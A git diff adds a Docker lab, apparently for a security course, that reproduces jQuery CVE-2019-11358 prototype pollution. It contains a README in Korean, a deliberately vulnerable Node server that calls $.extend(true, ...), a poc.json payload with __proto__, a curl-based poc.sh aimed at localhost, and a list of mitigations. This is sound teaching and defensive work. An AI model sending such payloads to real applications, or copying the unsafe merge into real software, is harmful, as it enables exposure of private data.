diff --git a/README.md b/README.md index 66be761c2..1582b667e 100644 --- a/README.md +++ b/README.md @@ -52,6 +52,10 @@ - [CVE-2024-43441](./HugeGraph/CVE-2024-43441/README.md) — JWT 비밀 키 하드코딩으로 인한 인증 우회 - Contributor: [@HanTul](https://github.com/HanTul) | Risk Score: 9.8 (Reproducibility: 85%) +- **jQuery** — JavaScript DOM 조작 라이브러리 + - [CVE-2019-11358](./jQuery/CVE-2019-11358/README.md) — `jQuery.extend()` Prototype Pollution + - Contributor: [@doo513](https://github.com/doo513) | Risk Score: 6.1 (Reproducibility: 95%) + - **Librsvg** — GNOME SVG 렌더링 라이브러리 - [CVE-2023-38633](./Librsvg/CVE-2023-38633/README.md) — librsvg xi:include 디렉터리 탐색 파일 읽기 - Contributor: [@EL55](https://github.com/EL55) | Risk Score: 7.5 (Reproducibility: 80%) diff --git a/jQuery/CVE-2019-11358/.dockerignore b/jQuery/CVE-2019-11358/.dockerignore new file mode 100644 index 000000000..81127967d --- /dev/null +++ b/jQuery/CVE-2019-11358/.dockerignore @@ -0,0 +1,4 @@ +node_modules +npm-debug.log +.git +.DS_Store diff --git a/jQuery/CVE-2019-11358/.gitignore b/jQuery/CVE-2019-11358/.gitignore new file mode 100644 index 000000000..b1a4fa86a --- /dev/null +++ b/jQuery/CVE-2019-11358/.gitignore @@ -0,0 +1,3 @@ +node_modules/ +npm-debug.log* +.DS_Store diff --git a/jQuery/CVE-2019-11358/Dockerfile b/jQuery/CVE-2019-11358/Dockerfile new file mode 100644 index 000000000..ba425d4f8 --- /dev/null +++ b/jQuery/CVE-2019-11358/Dockerfile @@ -0,0 +1,34 @@ +FROM node:20.19.5-alpine3.22 + +ARG JQUERY_VERSION=3.3.1 + +WORKDIR /app + +COPY package.json package-lock.json ./ +RUN npm ci --omit=dev --ignore-scripts --no-audit --no-fund \ + && npm cache clean --force + +COPY server.mjs ./server.mjs +COPY public ./public +COPY vendor ./vendor + +RUN set -eu; \ + case "$JQUERY_VERSION" in \ + 3.3.1) expected="160a426ff2894252cd7cebbdd6d6b7da8fcd319c65b70468f10b6690c45d02ef" ;; \ + 3.4.0) expected="0497a8d2a9bde7db8c0466fae73e347a3258192811ed1108e3e096d5f34ac0e8" ;; \ + *) echo "지원 버전은 3.3.1 또는 3.4.0입니다." >&2; exit 1 ;; \ + esac; \ + mkdir -p runtime; \ + cp "vendor/jquery-${JQUERY_VERSION}.min.js" runtime/jquery.js; \ + actual="$(sha256sum runtime/jquery.js | awk '{print $1}')"; \ + test "$actual" = "$expected"; \ + printf '%s\n' "$JQUERY_VERSION" > runtime/jquery.version; \ + chown -R node:node /app + +ENV NODE_ENV=production + +USER node + +EXPOSE 3000 + +CMD ["node", "server.mjs"] diff --git a/jQuery/CVE-2019-11358/README.md b/jQuery/CVE-2019-11358/README.md new file mode 100644 index 000000000..b6dcd7414 --- /dev/null +++ b/jQuery/CVE-2019-11358/README.md @@ -0,0 +1,273 @@ +# CVE-2019-11358 | jQuery Prototype Pollution + +> 화이트햇 스쿨 과제 — [최한두 (@doo513)](https://github.com/doo513) + +
+ +### 취약점 요약 + +CVE-2019-11358은 jQuery 3.4.0 미만 버전의 깊은 병합 함수 `jQuery.extend(true, ...)`에서 발생하는 Prototype Pollution 취약점입니다. 공격자가 제어하는 객체에 enumerable `__proto__` 속성이 포함되면 병합 과정에서 `Object.prototype`이 오염될 수 있으며, 이후 생성되는 일반 객체가 공격자가 삽입한 속성을 상속할 수 있습니다. + +본 환경은 실제 jQuery 3.3.1 파일을 컨테이너 내부에서 `jsdom`으로 로드하고, 프로필 저장 서비스의 내보내기 과정에서 실제 `$.extend(true, ...)`를 실행합니다. + +```text +악성 프로필 JSON 저장 +→ jQuery 3.3.1의 $.extend(true, ...) 실행 +→ Object.prototype.includePrivate 오염 +→ 별도의 exportPolicy 객체가 includePrivate=true를 상속 +→ 공개 프로필 응답에 비공개 정보 포함 +``` + +| 항목 | 값 | +|---|---| +| 취약 버전 | jQuery 3.3.1 | +| 패치 비교 버전 | jQuery 3.4.0 | +| 취약점 유형 | Prototype Pollution | +| CVSS v3.1 | 6.1 Medium | +| CVSS Vector | `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N` | + +
+ +### 취약 조건 + +다음 조건이 함께 충족되어야 합니다. + +1. jQuery 3.4.0 미만 버전을 사용합니다. +2. `$.extend(true, ...)` 형태의 깊은 병합을 수행합니다. +3. 공격자가 병합되는 객체의 내용을 제어할 수 있습니다. +4. 입력 객체에 enumerable own property인 `__proto__`가 포함됩니다. +5. 병합 전에 `__proto__`, `constructor`, `prototype` 등의 위험 키를 제거하지 않습니다. +6. 오염된 프로토타입의 상속값이 권한, 정책 또는 출력 여부를 결정하는 코드에 사용됩니다. + +본 환경에서 취약한 병합 지점은 다음과 같습니다. + +```js +const mergedProfile = $.extend( + true, + {}, + DEFAULT_PROFILE, + sourceProfile +); +``` + +병합과 별도로 생성되는 정책 객체가 오염된 값을 상속하면서 실제 영향이 발생합니다. + +```js +const exportPolicy = {}; + +if (exportPolicy.includePrivate === true) { + output.private = { ...PRIVATE_PROFILE }; +} +``` + +
+ +### 환경 구성 + +```text +CVE-2019-11358/ +├── Dockerfile +├── compose.yaml +├── server.mjs +├── package.json +├── package-lock.json +├── poc.json +├── poc.sh +├── public/ +│ ├── index.html +│ └── app.js +├── vendor/ +│ ├── jquery-3.3.1.min.js +│ ├── jquery-3.4.0.min.js +│ └── LICENSE-jquery.txt +└── images/ + ├── 01-poc-request.png + └── 02-pollution-result.png +``` + +Dockerfile은 취약 jQuery 파일을 외부 취약 이미지에서 가져오지 않고 저장소의 `vendor/` 디렉터리에서 복사합니다. 빌드 중 SHA-256 값을 확인하여 선택된 jQuery 파일이 변경되지 않았는지 검증합니다. + +서비스는 호스트의 `127.0.0.1:3000`에만 바인딩됩니다. + +
+ +### 환경 실행 + +프로젝트 디렉터리에서 다음 명령을 실행합니다. + +```sh +docker compose up --build -d +``` + +컨테이너 상태와 로그를 확인합니다. + +```sh +docker compose ps +docker compose logs +``` + +브라우저 접속 주소: + +```text +http://127.0.0.1:3000 +``` + +환경 종료: + +```sh +docker compose down --remove-orphans +``` + +
+ +### 재현 절차 및 PoC 코드 + +#### 1. 실습 상태 초기화 + +```sh +curl -sS -X POST http://127.0.0.1:3000/api/reset +``` + +#### 2. `__proto__`가 포함된 프로필 저장 + +```sh +curl -sS -X POST http://127.0.0.1:3000/api/profile \ + -H 'Content-Type: application/json' \ + --data-binary @poc.json +``` + +`poc.json`의 내용은 다음과 같습니다. + +```json +{ + "name": "guest", + "bio": "public profile", + "__proto__": { + "includePrivate": true, + "polluted": "CVE-2019-11358" + } +} +``` + +응답의 `sourceHasOwnProto: true`는 `JSON.parse()`로 생성된 입력 객체가 `__proto__`를 own property로 가지고 있음을 뜻합니다. + +![Burp Repeater에서 전송한 악성 프로필 요청](./images/01-poc-request.png) + +#### 3. 취약한 깊은 병합 실행 + +```sh +curl -sS http://127.0.0.1:3000/api/profile/export +``` + +전체 PoC는 다음 명령으로도 실행할 수 있습니다. + +```sh +chmod +x poc.sh +./poc.sh +``` + +
+ +### 실행 결과 + +jQuery 3.3.1 환경에서는 다음과 같은 결과가 반환됩니다. + +```json +{ + "result": "VULNERABLE", + "jqueryVersion": "3.3.1", + "privateDataExposed": true, + "exportedProfile": { + "name": "guest", + "bio": "public profile", + "private": { + "email": "guest@example.local", + "reviewNote": "internal-only: 신규 계정 검토 필요" + } + }, + "evidence": { + "sourceHasOwnProto": true, + "before": { + "objectPrototypeIncludePrivate": null + }, + "after": { + "objectPrototypeIncludePrivate": true, + "objectPrototypePolluted": "CVE-2019-11358", + "exportPolicyHasOwnIncludePrivate": false, + "exportPolicyInheritedIncludePrivate": true + } + } +} +``` + +![Prototype Pollution과 비공개 정보 노출 결과](./images/02-pollution-result.png) + +핵심 성공 기준은 다음과 같습니다. + +```text +result = "VULNERABLE" +Object.prototype.includePrivate = true +Object.prototype.polluted = "CVE-2019-11358" +exportPolicyHasOwnIncludePrivate = false +exportPolicyInheritedIncludePrivate = true +privateDataExposed = true +``` + +`exportPolicy` 객체에는 `includePrivate` own property가 없습니다. 그런데도 해당 값이 `true`로 평가된 것은 오염된 `Object.prototype`에서 값을 상속했기 때문입니다. 따라서 결과는 단순한 입력값 반영이 아니라 Prototype Pollution으로 별도의 정책 객체 동작이 변경된 사례입니다. + +
+ +### 패치 버전 비교 + +기존 환경을 종료한 뒤 jQuery 3.4.0으로 다시 빌드합니다. + +```sh +docker compose down --remove-orphans +JQUERY_VERSION=3.4.0 docker compose up --build -d +./poc.sh +``` + +패치 버전에서는 동일 입력을 사용해도 `Object.prototype`이 오염되지 않으며 결과는 `NOT_VULNERABLE`이 됩니다. + +```text +Object.prototype.includePrivate = undefined +exportPolicyHasOwnIncludePrivate = false +exportPolicyInheritedIncludePrivate = undefined +privateDataExposed = false +``` + +비교 후 종료합니다. + +```sh +JQUERY_VERSION=3.4.0 docker compose down --remove-orphans +``` + +
+ +### 대응 방안 + +1. jQuery를 3.4.0 이상으로 업그레이드합니다. +2. 외부 JSON을 재귀적으로 병합하기 전에 `__proto__`, `constructor`, `prototype` 키를 거부합니다. +3. 사용자 입력은 허용 목록 기반으로 필요한 필드만 추출합니다. +4. 보안 정책 객체에서 프로토타입 상속값을 신뢰하지 않고 own property를 명시적으로 검사합니다. +5. 데이터 객체와 권한·정책 객체를 동일한 병합 흐름에 포함하지 않습니다. +6. 필요한 경우 정책 맵은 `Object.create(null)`로 생성하여 일반 프로토타입 체인을 제거합니다. + +
+ +### 평가 + +- **Risk Score: 6.1 / 10.0** + NVD CVSS v3.1 점수를 기준으로 하며, 네트워크를 통한 입력이 가능하고 기밀성 및 무결성에 제한적인 영향을 줄 수 있습니다. + +- **Reproducibility: 95%** + Docker Compose 한 번으로 환경을 구성하고, 저장소에 포함된 `poc.json`과 `poc.sh`를 그대로 실행하여 취약 버전과 패치 버전을 비교할 수 있도록 구성했습니다. + +
+ +### 참고 자료 + +- [NVD — CVE-2019-11358](https://nvd.nist.gov/vuln/detail/CVE-2019-11358) +- [jQuery 3.4.0 Released](https://blog.jquery.com/2019/04/10/jquery-3-4-0-released/) +- [jQuery Fix Commit](https://github.com/jquery/jquery/commit/753d591aea698e57d6db58c9f722cd0808619b1b) +- [jQuery.extend() API](https://api.jquery.com/jquery.extend/) diff --git a/jQuery/CVE-2019-11358/compose.yaml b/jQuery/CVE-2019-11358/compose.yaml new file mode 100644 index 000000000..76a0fa8a4 --- /dev/null +++ b/jQuery/CVE-2019-11358/compose.yaml @@ -0,0 +1,28 @@ +services: + app: + build: + context: . + dockerfile: Dockerfile + args: + JQUERY_VERSION: ${JQUERY_VERSION:-3.3.1} + image: kr-vulhub-cve-2019-11358:${JQUERY_VERSION:-3.3.1} + init: true + read_only: true + security_opt: + - no-new-privileges:true + cap_drop: + - ALL + ports: + - "127.0.0.1:3000:3000" + healthcheck: + test: + - CMD + - node + - -e + - >- + fetch('http://127.0.0.1:3000/healthz') + .then(r => { if (!r.ok) process.exit(1); }) + .catch(() => process.exit(1)); + interval: 5s + timeout: 3s + retries: 10 diff --git a/jQuery/CVE-2019-11358/images/01-poc-request.png b/jQuery/CVE-2019-11358/images/01-poc-request.png new file mode 100644 index 000000000..a0c53d3dd Binary files /dev/null and b/jQuery/CVE-2019-11358/images/01-poc-request.png differ diff --git a/jQuery/CVE-2019-11358/images/02-pollution-result.png b/jQuery/CVE-2019-11358/images/02-pollution-result.png new file mode 100644 index 000000000..efdc26e62 Binary files /dev/null and b/jQuery/CVE-2019-11358/images/02-pollution-result.png differ diff --git a/jQuery/CVE-2019-11358/package-lock.json b/jQuery/CVE-2019-11358/package-lock.json new file mode 100644 index 000000000..4e0b314a4 --- /dev/null +++ b/jQuery/CVE-2019-11358/package-lock.json @@ -0,0 +1,505 @@ +{ + "name": "kr-vulhub-cve-2019-11358", + "version": "1.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "kr-vulhub-cve-2019-11358", + "version": "1.0.0", + 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true + } + } + }, + "node_modules/xml-name-validator": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", + "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", + "license": "Apache-2.0", + "engines": { + "node": ">=18" + } + }, + "node_modules/xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "license": "MIT" + } + } +} diff --git a/jQuery/CVE-2019-11358/package.json b/jQuery/CVE-2019-11358/package.json new file mode 100644 index 000000000..3916e0089 --- /dev/null +++ b/jQuery/CVE-2019-11358/package.json @@ -0,0 +1,13 @@ +{ + "name": "kr-vulhub-cve-2019-11358", + "version": "1.0.0", + "private": true, + "type": "module", + "description": "Docker lab for jQuery CVE-2019-11358 prototype pollution", + "engines": { + "node": ">=20" + }, + "dependencies": { + "jsdom": "26.1.0" + } +} diff --git a/jQuery/CVE-2019-11358/poc.json b/jQuery/CVE-2019-11358/poc.json new file mode 100644 index 000000000..979abece5 --- /dev/null +++ b/jQuery/CVE-2019-11358/poc.json @@ -0,0 +1,8 @@ +{ + "name": "guest", + "bio": "public profile", + "__proto__": { + "includePrivate": true, + "polluted": "CVE-2019-11358" + } +} diff --git a/jQuery/CVE-2019-11358/poc.sh b/jQuery/CVE-2019-11358/poc.sh new file mode 100644 index 000000000..fb91fcee8 --- /dev/null +++ b/jQuery/CVE-2019-11358/poc.sh @@ -0,0 +1,19 @@ +#!/usr/bin/env bash +set -euo pipefail + +BASE_URL="${BASE_URL:-http://127.0.0.1:3000}" +SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)" + +echo '[1/3] Reset lab state' +curl -fsS -X POST "$BASE_URL/api/reset" +echo + +echo '[2/3] Store the profile containing an own __proto__ property' +curl -fsS -X POST "$BASE_URL/api/profile" \ + -H 'Content-Type: application/json' \ + --data-binary "@$SCRIPT_DIR/poc.json" +echo + +echo '[3/3] Trigger the vulnerable deep merge and print the result' +curl -fsS "$BASE_URL/api/profile/export" +echo diff --git a/jQuery/CVE-2019-11358/public/app.js b/jQuery/CVE-2019-11358/public/app.js new file mode 100644 index 000000000..0cd364854 --- /dev/null +++ b/jQuery/CVE-2019-11358/public/app.js @@ -0,0 +1,83 @@ +"use strict"; + +const form = document.querySelector("#profile-form"); +const exportButton = document.querySelector("#export-button"); +const resetButton = document.querySelector("#reset-button"); +const statusElement = document.querySelector("#status"); +const resultElement = document.querySelector("#result"); +const versionElement = document.querySelector("#jquery-version"); + +function showResult(status, data) { + statusElement.textContent = status; + resultElement.textContent = JSON.stringify(data, null, 2); +} + +async function requestJson(url, options = {}) { + const response = await fetch(url, options); + const data = await response.json(); + + if (!response.ok) { + throw new Error(data.error || `HTTP ${response.status}`); + } + + return data; +} + +async function loadVersion() { + try { + const data = await requestJson("/healthz"); + versionElement.textContent = data.jqueryVersion; + } catch (error) { + versionElement.textContent = "확인 실패"; + showResult("서버 확인 실패", { error: error.message }); + } +} + +form.addEventListener("submit", async (event) => { + event.preventDefault(); + + const profile = { + name: document.querySelector("#name").value, + bio: document.querySelector("#bio").value + }; + + try { + const data = await requestJson("/api/profile", { + method: "POST", + headers: { + "Content-Type": "application/json" + }, + body: JSON.stringify(profile) + }); + showResult("프로필을 저장했습니다.", data); + } catch (error) { + showResult("저장 실패", { error: error.message }); + } +}); + +exportButton.addEventListener("click", async () => { + try { + const data = await requestJson("/api/profile/export"); + showResult( + data.privateDataExposed + ? "비공개 정보가 공개 응답에 포함되었습니다." + : "공개 프로필만 반환되었습니다.", + data + ); + } catch (error) { + showResult("공개 프로필 확인 실패", { error: error.message }); + } +}); + +resetButton.addEventListener("click", async () => { + try { + const data = await requestJson("/api/reset", { method: "POST" }); + document.querySelector("#name").value = "guest"; + document.querySelector("#bio").value = "기본 공개 프로필입니다."; + showResult("초기화했습니다.", data); + } catch (error) { + showResult("초기화 실패", { error: error.message }); + } +}); + +loadVersion(); diff --git a/jQuery/CVE-2019-11358/public/index.html b/jQuery/CVE-2019-11358/public/index.html new file mode 100644 index 000000000..df781f95f --- /dev/null +++ b/jQuery/CVE-2019-11358/public/index.html @@ -0,0 +1,34 @@ + + + + + + Profile Service + + +

프로필

+

jQuery version: 확인 중

+ +
+

+
+ +

+

+
+ +

+ +
+ +

+ + +

+ +

대기 중

+ 

+
+  
+
+
diff --git a/jQuery/CVE-2019-11358/server.mjs b/jQuery/CVE-2019-11358/server.mjs
new file mode 100644
index 000000000..02310cecb
--- /dev/null
+++ b/jQuery/CVE-2019-11358/server.mjs
@@ -0,0 +1,281 @@
+import http from "node:http";
+import { readFile } from "node:fs/promises";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { JSDOM } from "jsdom";
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = path.dirname(__filename);
+
+const HOST = "0.0.0.0";
+const PORT = 3000;
+const MAX_BODY_BYTES = 16 * 1024;
+
+const DEFAULT_PROFILE = Object.freeze({
+  name: "guest",
+  bio: "기본 공개 프로필입니다."
+});
+
+const PRIVATE_PROFILE = Object.freeze({
+  email: "guest@example.local",
+  reviewNote: "internal-only: 신규 계정 검토 필요"
+});
+
+const DEFAULT_PROFILE_TEXT = JSON.stringify(DEFAULT_PROFILE);
+let storedProfileText = DEFAULT_PROFILE_TEXT;
+
+const [jquerySource, expectedJqueryVersion, indexHtml, appJavaScript] =
+  await Promise.all([
+    readFile(path.join(__dirname, "runtime", "jquery.js"), "utf8"),
+    readFile(path.join(__dirname, "runtime", "jquery.version"), "utf8"),
+    readFile(path.join(__dirname, "public", "index.html"), "utf8"),
+    readFile(path.join(__dirname, "public", "app.js"), "utf8")
+  ]);
+
+const dom = new JSDOM("", {
+  runScripts: "outside-only",
+  url: "http://profile-service.local/"
+});
+
+dom.window.eval(jquerySource);
+const $ = dom.window.jQuery;
+const jqueryVersion = expectedJqueryVersion.trim();
+
+if (!$ || typeof $.extend !== "function") {
+  throw new Error("jQuery 초기화에 실패했습니다.");
+}
+
+if ($.fn.jquery !== jqueryVersion) {
+  throw new Error(
+    `빌드 버전(${jqueryVersion})과 실행 버전(${$.fn.jquery})이 다릅니다.`
+  );
+}
+
+const BASE_HEADERS = {
+  "Cache-Control": "no-store",
+  "X-Content-Type-Options": "nosniff"
+};
+
+function sendText(res, statusCode, contentType, body, extraHeaders = {}) {
+  res.writeHead(statusCode, {
+    ...BASE_HEADERS,
+    ...extraHeaders,
+    "Content-Type": contentType,
+    "Content-Length": Buffer.byteLength(body)
+  });
+  res.end(body);
+}
+
+function sendJson(res, statusCode, value) {
+  sendText(
+    res,
+    statusCode,
+    "application/json; charset=utf-8",
+    `${JSON.stringify(value, null, 2)}\n`
+  );
+}
+
+async function readRequestBody(req) {
+  const chunks = [];
+  let total = 0;
+
+  for await (const chunk of req) {
+    total += chunk.length;
+    if (total > MAX_BODY_BYTES) {
+      const error = new Error("요청 본문은 16 KiB 이하여야 합니다.");
+      error.statusCode = 413;
+      throw error;
+    }
+    chunks.push(chunk);
+  }
+
+  return Buffer.concat(chunks).toString("utf8");
+}
+
+function parseJsonObject(rawText) {
+  let parsed;
+
+  try {
+    parsed = JSON.parse(rawText);
+  } catch {
+    const error = new Error("유효한 JSON 객체가 아닙니다.");
+    error.statusCode = 400;
+    throw error;
+  }
+
+  if (parsed === null || Array.isArray(parsed) || typeof parsed !== "object") {
+    const error = new Error("JSON 최상위 값은 객체여야 합니다.");
+    error.statusCode = 400;
+    throw error;
+  }
+
+  return parsed;
+}
+
+function hasOwn(object, key) {
+  return Object.prototype.hasOwnProperty.call(object, key);
+}
+
+function clearLabPollution() {
+  delete Object.prototype.includePrivate;
+  delete Object.prototype.polluted;
+}
+
+function createPublicProfile(profile, exportPolicy) {
+  const output = {
+    name: typeof profile.name === "string" ? profile.name : "",
+    bio: typeof profile.bio === "string" ? profile.bio : ""
+  };
+
+  if (exportPolicy.includePrivate === true) {
+    output.private = { ...PRIVATE_PROFILE };
+  }
+
+  return output;
+}
+
+const server = http.createServer(async (req, res) => {
+  try {
+    const url = new URL(req.url ?? "/", `http://${req.headers.host ?? "localhost"}`);
+
+    if (req.method === "GET" && url.pathname === "/") {
+      sendText(
+        res,
+        200,
+        "text/html; charset=utf-8",
+        indexHtml,
+        {
+          "Content-Security-Policy":
+            "default-src 'none'; script-src 'self'; connect-src 'self'; base-uri 'none'; form-action 'self'"
+        }
+      );
+      return;
+    }
+
+    if (req.method === "GET" && url.pathname === "/app.js") {
+      sendText(
+        res,
+        200,
+        "text/javascript; charset=utf-8",
+        appJavaScript
+      );
+      return;
+    }
+
+    if (req.method === "GET" && url.pathname === "/healthz") {
+      sendJson(res, 200, { status: "ok", jqueryVersion: $.fn.jquery });
+      return;
+    }
+
+    if (req.method === "POST" && url.pathname === "/api/reset") {
+      clearLabPollution();
+      storedProfileText = DEFAULT_PROFILE_TEXT;
+      sendJson(res, 200, {
+        reset: true,
+        jqueryVersion: $.fn.jquery
+      });
+      return;
+    }
+
+    if (req.method === "POST" && url.pathname === "/api/profile") {
+      const contentType = String(req.headers["content-type"] ?? "").toLowerCase();
+      if (!contentType.startsWith("application/json")) {
+        sendJson(res, 415, {
+          error: "Content-Type은 application/json이어야 합니다."
+        });
+        return;
+      }
+
+      const rawBody = await readRequestBody(req);
+      const parsed = parseJsonObject(rawBody);
+
+      // 문자열 원문을 보관해 JSON.parse 시 own '__proto__' 속성을 유지한다.
+      storedProfileText = rawBody.trim();
+
+      sendJson(res, 200, {
+        saved: true,
+        sourceHasOwnProto: hasOwn(parsed, "__proto__")
+      });
+      return;
+    }
+
+    if (req.method === "GET" && url.pathname === "/api/profile/export") {
+      if (Object.prototype.includePrivate !== undefined) {
+        sendJson(res, 409, {
+          error: "이미 오염된 상태입니다. 초기화 후 다시 실행하세요."
+        });
+        return;
+      }
+
+      const sourceProfile = parseJsonObject(storedProfileText);
+      const sourceHasOwnProto = hasOwn(sourceProfile, "__proto__");
+
+      const before = {
+        objectPrototypeIncludePrivate: null
+      };
+
+      // CVE-2019-11358의 실제 취약 지점이다.
+      const mergedProfile = $.extend(true, {}, DEFAULT_PROFILE, sourceProfile);
+
+      // 프로필 입력과 별도로 생성되는 내보내기 정책 객체다.
+      const exportPolicy = {};
+      const exportedProfile = createPublicProfile(mergedProfile, exportPolicy);
+
+      const after = {
+        objectPrototypeIncludePrivate:
+          Object.prototype.includePrivate === undefined
+            ? null
+            : Object.prototype.includePrivate,
+        objectPrototypePolluted:
+          Object.prototype.polluted === undefined
+            ? null
+            : Object.prototype.polluted,
+        exportPolicyHasOwnIncludePrivate: hasOwn(
+          exportPolicy,
+          "includePrivate"
+        ),
+        exportPolicyInheritedIncludePrivate:
+          exportPolicy.includePrivate === undefined
+            ? null
+            : exportPolicy.includePrivate
+      };
+
+      const privateDataExposed = hasOwn(exportedProfile, "private");
+      const vulnerable =
+        sourceHasOwnProto === true &&
+        after.objectPrototypeIncludePrivate === true &&
+        after.exportPolicyHasOwnIncludePrivate === false &&
+        after.exportPolicyInheritedIncludePrivate === true &&
+        privateDataExposed === true;
+
+      sendJson(res, 200, {
+        result: vulnerable ? "VULNERABLE" : "NOT_VULNERABLE",
+        jqueryVersion: $.fn.jquery,
+        privateDataExposed,
+        exportedProfile,
+        evidence: {
+          sourceHasOwnProto,
+          before,
+          after
+        }
+      });
+      return;
+    }
+
+    sendJson(res, 404, { error: "Not Found" });
+  } catch (error) {
+    const statusCode = Number(error?.statusCode) || 500;
+    sendJson(res, statusCode, {
+      error: statusCode === 500 ? "Internal Server Error" : String(error.message)
+    });
+
+    if (statusCode === 500) {
+      console.error(error);
+    }
+  }
+});
+
+server.listen(PORT, HOST, () => {
+  console.log(`Open in browser: http://127.0.0.1:${PORT}`);
+  console.log(`jQuery version: ${$.fn.jquery}`);
+});
diff --git a/jQuery/CVE-2019-11358/vendor/LICENSE-jquery.txt b/jQuery/CVE-2019-11358/vendor/LICENSE-jquery.txt
new file mode 100644
index 000000000..e4e5e00ef
--- /dev/null
+++ b/jQuery/CVE-2019-11358/vendor/LICENSE-jquery.txt
@@ -0,0 +1,36 @@
+Copyright JS Foundation and other contributors, https://js.foundation/
+
+This software consists of voluntary contributions made by many
+individuals. For exact contribution history, see the revision history
+available at https://github.com/jquery/jquery
+
+The following license applies to all parts of this software except as
+documented below:
+
+====
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+====
+
+All files located in the node_modules and external directories are
+externally maintained libraries used by this software which have their
+own licenses; we recommend you read them, as their terms may differ from
+the terms above.
diff --git a/jQuery/CVE-2019-11358/vendor/jquery-3.3.1.min.js b/jQuery/CVE-2019-11358/vendor/jquery-3.3.1.min.js
new file mode 100644
index 000000000..4d9b3a258
--- /dev/null
+++ b/jQuery/CVE-2019-11358/vendor/jquery-3.3.1.min.js
@@ -0,0 +1,2 @@
+/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */
+!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new 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